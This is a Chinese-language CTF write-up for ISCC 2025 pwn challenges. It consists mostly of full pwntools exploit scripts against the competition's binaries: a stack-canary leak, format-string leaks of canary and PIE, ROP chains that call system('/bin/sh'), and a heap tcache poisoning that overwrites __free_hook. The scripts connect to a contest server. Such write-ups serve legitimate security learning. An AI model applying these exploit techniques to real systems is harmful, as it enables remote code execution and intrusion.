ISCC 2025 练武2025二周目pwn题解
ISCC 2025 练武2025二周目pwn题解
其实和一周目思想差不多,具体可以看:https://www.cnblogs.com/resea/p/18861555
第一题

进来输入no

说谢谢了吗?thanks

主要漏洞函数

这里偷懒用上次的题解了...
考点是:泄漏金丝雀+32传参+泄漏libc基址
嗯,很简单干净,两次写入,一次输出,思路也很简单:
- 填充
24垃圾字节 - 填充
1字节金丝雀高位 - 接受金丝雀
- 泄漏libc
先写上八股文:
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('attachment-22')
io = remote("101.200.155.151",12000)
file = ELF("attachment-22")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
input()
def get():
return u64(io.recv(6).ljust(8, b'\x00'))
io.sendafter(b"no?",b"no\n")
io.sendafter(b"modest",b"thanks\n")
泄漏金丝雀相关:
io.recvuntil(b"init")
io.send(flat([
b"a"*(0x20-0x8),
b"g"
]))
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
直接打传参
发现有system

# 构造ROP链
payload = flat([
cyclic(0x20-0x8), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
p64(file.search(asm("pop rdi; ret;")).__next__() + 1), # re
p64(file.search(asm("pop rdi; ret;")).__next__()), # pop rdi; ret gadget
p64(file.search("/bin/sh\x00").__next__()), # puts 的 GOT 地址作为参数
p64(file.plt['system']), # 调用 puts
# p64(file.sym['main']), # 再次返回 main,避免退出
])
io.send(payload)
io.interactive()
打完
完整exp
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('attachment-22')
io = remote("101.200.155.151",12000)
file = ELF("attachment-22")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
input()
def get():
return u64(io.recv(6).ljust(8, b'\x00'))
io.sendafter(b"no?",b"no\n")
io.sendafter(b"modest",b"thanks\n")
io.recvuntil(b"init")
io.send(flat([
b"a"*(0x20-0x8),
b"g"
]))
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
io.recvuntil(b"thank")
# 构造ROP链
payload = flat([
cyclic(0x20-0x8), # 填充至金丝雀前
p64(canary), # 加入金丝雀值
cyclic(0x8), # 填充至返回地址
p64(file.search(asm("pop rdi; ret;")).__next__() + 1), # re
p64(file.search(asm("pop rdi; ret;")).__next__()), # pop rdi; ret gadget
p64(file.search("/bin/sh\x00").__next__()), # puts 的 GOT 地址作为参数
p64(file.plt['system']), # 调用 puts
# p64(file.sym['main']), # 再次返回 main,避免退出
])
io.send(payload)
io.interactive()

第二题

主函数没漏洞

我们直接上溢出到0即可绕过检验pwn(2,32)/10 == 2147483648,刚刚开始的时候忘记可以上溢出了,卡住了。
问题是如何泄漏PIE和金丝雀,发现有格式化字符串漏洞

进调试器看

偏移为8
金丝雀在格式化字符串本体下面8+9第17个,main则在本体下面8+17第25个

# AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
# AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./attachment-32')
# io = remote("101.200.155.151", 12600)
file = ELF("./attachment-32")
libc = ELF("libc6_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")
def debug():
'''
打开gdb,在模拟器内用
'''
gdb.attach(io)
input()
def get_canary(size: int = 0):
'''
接受金丝雀
'''
payload = flat([
b"a" * (size-1),
b"g"
])
io.send(payload)
canary = u64(b'\x00' + io.recv(7))
print("canary:", hex(canary))
return canary
def get_puts(_name: str = "addr"):
'''
接受泄漏地址
'''
addr = u64(io.recv(6).ljust(8, b'\x00'))
print(f"{_name}:{hex(addr)}")
return
def fastbin_fd(pos: int, ptr: int):
"""
计算 fastbin 加密后的 fd 指针值 (libc 2.32+)
参数:
pos (int): fd指针所在的内存地址 (如 0x55555555b3a0)
ptr (int): 原始要存储的指针值 (如 0x55555555B370)
返回:
int: 加密后的指针值
"""
# 计算过程
shifted_pos = pos >> 12
encrypted_ptr = shifted_pos ^ ptr
# 调试信息
print(f"加密后的 fd 指针: {hex(encrypted_ptr)}")
return encrypted_ptr
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%17$p")
debug()
canary = int(io.recvuntil(b"\n"), 16)
print(hex(canary))
io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')
# debug()
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%25$p")
main = int(io.recvuntil(b"\n"), 16)
pie = main - file.sym['main']
print(f"debug {pie}")
file.address = pie
接下来就是常规的打libc基址
io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')
payload = flat([
cyclic(0x48),
p64(canary),
cyclic(0x8),
p64(file.search(asm("pop rdi; ret;")).__next__()),
p64(file.got['puts']),
p64(file.plt['puts']),
p64(file.sym['main'])
])
io.recvuntil(b'Furina: The trial is adjourned')
io.sendline(payload)
# debug()
print(f"debug {io.recv(1)}")
# print(f"debug {io.recv(1)}")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(f"debug {io.recv(7)}")
# puts_addr = io.recv(6).ljust(8, b'\x00')
# puts_addr = int(puts_addr, 16)
print(f"puts_addr {hex(puts_addr)}")
libc_base = puts_addr - libc.sym['puts']
print(f"libc_base:{hex(libc_base)}")
# io.interactive()
# io.recvuntil(b'Furina: Your choice? >> ')
然后打传参,这史题又不给libc,和之前一样直接用libc找即可,然后要ret两次才能平衡,太史了!
io.sendline(b'2')
io.recvuntil(b'Furina: The trial is adjourned')
payload = flat([
cyclic(0x48),
p64(canary),
p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
p64(file.search(asm("pop rdi; ret;")).__next__()),
# p64(libc.search(b"/bin/sh\x00").__next__()),
# p64(libc.sym['puts'])
p64(0x1d8678 + libc_base),
# p64(libc.sym['system']),
p64(0x050d70 + libc_base)
# p64(file.sym['main'])
])
# debug()
io.sendline(payload)
io.interactive()
完整exp
# %p-%p-%p-%p-%p-%p-%p-%p-%p-%p
# %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./attachment-32')
# io = remote("101.200.155.151", 12600)
file = ELF("./attachment-32")
libc = ELF("libc6_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")
def debug():
'''
打开gdb,在模拟器内用
'''
gdb.attach(io)
input()
def get_canary(size: int = 0):
'''
接受金丝雀
'''
payload = flat([
b"a" * (size-1),
b"g"
])
io.send(payload)
canary = u64(b'\x00' + io.recv(7))
print("canary:", hex(canary))
return canary
def get_puts(_name: str = "addr"):
'''
接受泄漏地址
'''
addr = u64(io.recv(6).ljust(8, b'\x00'))
print(f"{_name}:{hex(addr)}")
return
def fastbin_fd(pos: int, ptr: int):
"""
计算 fastbin 加密后的 fd 指针值 (libc 2.32+)
参数:
pos (int): fd指针所在的内存地址 (如 0x55555555b3a0)
ptr (int): 原始要存储的指针值 (如 0x55555555B370)
返回:
int: 加密后的指针值
"""
# 计算过程
shifted_pos = pos >> 12
encrypted_ptr = shifted_pos ^ ptr
# 调试信息
print(f"加密后的 fd 指针: {hex(encrypted_ptr)}")
return encrypted_ptr
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%17$p")
# debug()
canary = int(io.recvuntil(b"\n"), 16)
print(hex(canary))
io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')
# debug()
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%25$p")
main = int(io.recvuntil(b"\n"), 16)
pie = main - file.sym['main']
print(f"debug {pie}")
file.address = pie
io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')
payload = flat([
cyclic(0x48),
p64(canary),
cyclic(0x8),
p64(file.search(asm("pop rdi; ret;")).__next__()),
p64(file.got['puts']),
p64(file.plt['puts']),
p64(file.sym['main'])
])
io.recvuntil(b'Furina: The trial is adjourned')
io.sendline(payload)
# debug()
print(f"debug {io.recv(1)}")
# print(f"debug {io.recv(1)}")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(f"debug {io.recv(7)}")
# puts_addr = io.recv(6).ljust(8, b'\x00')
# puts_addr = int(puts_addr, 16)
print(f"puts_addr {hex(puts_addr)}")
libc_base = puts_addr - libc.sym['puts']
print(f"libc_base:{hex(libc_base)}")
# io.interactive()
# io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')
io.recvuntil(b'Furina: The trial is adjourned')
payload = flat([
cyclic(0x48),
p64(canary),
p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
p64(file.search(asm("pop rdi; ret;")).__next__()),
# p64(libc.search(b"/bin/sh\x00").__next__()),
# p64(libc.sym['puts'])
p64(0x1d8678 + libc_base),
# p64(libc.sym['system']),
p64(0x050d70 + libc_base)
# p64(file.sym['main'])
])
# debug()
io.sendline(payload)
io.interactive()

第三题
没做出来,漏知识点了,0秒猜出出题者id长度,等我摸清楚了再来写罢
第四题
第四题也是和之前第三题差不多,不过远程换成了ubuntu20,原理和之前的大差不差,只不过上次限制只能存7个这次可以随便存了,就还是沿用上次打法,直接给exp吧,一摸一样的......
from pwn import *
# one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
io = process('attachment-23')
io = remote("101.200.155.151", 12300)
file = ELF("attachment-23")
libc = ELF("libc.so.6")
# libc = ELF("./libc.so.6")
def debug():
gdb.attach(io)
input()
def canary(_str:str):
io.recvuntil(_str.encode())
io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
return canary
def get():
return u64(io.recv(6).ljust(8, b'\x00'))
def add(index:int,size: int):
io.recvuntil(b"choice:")
io.send(b'1')
io.recvuntil(b"index:")
io.send(str(index).encode())
io.recvuntil(b"size:")
io.send(str(size).encode())
def free(index: int):
io.recvuntil(b"choice:")
io.send(b'2')
io.recvuntil(b"index:")
io.send(str(index).encode())
def edit(index: int, content: bytes):
io.recvuntil(b"choice:")
io.send(b'3')
io.recvuntil(b"index:")
io.send(str(index).encode())
io.recvuntil(b'length:')
io.send(str(len(content)).encode())
io.recvuntil(b"content:")
io.send(content)
def down(index: int):
io.recvuntil(b"choice:")
io.send(b'4')
io.recvuntil(b"index:")
io.send(str(index).encode())
def exit():
io.recvuntil(b"choice:")
io.send(b'5')
add(0,0x600)
add(1,0x20)
free(0)
add(0,0x600)
'''
获取fd
'''
down(0)
print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()
malloc_hook = fd_leak + (0xb70 - 0xbe0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']
# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23 # 0xf7
# 获取偏移
add(2,0x20)
payload = flat([
b"/bin/sh\x00",
])
# debug()
edit(2,payload)
add(0,0x20)
add(1,0x20)
free(0)
free(1)
# debug()
payload = flat([
p64(libc.sym['__free_hook']),
# p64(libc.sym['__malloc_hook'])
])
edit(1,payload)
# debug()
add(3,0x20)
# debug()
add(4,0x20)
# debug()
payload = flat([
p64(libc.sym['system']),
# p64(libc.sym['puts'])
# p64(0x4f29e + libc.address)
])
edit(4,payload)
# debug()
free(2)
io.interactive()
主要的变化点就在:malloc_hook = fd_leak + (0xb70 - 0xbe0) 的值要重新计算,菜单改了改,但是不影响,其他的一摸一样,要看具体的在:https://www.cnblogs.com/resea/p/18861555

总结
史!

浙公网安备 33010602011771号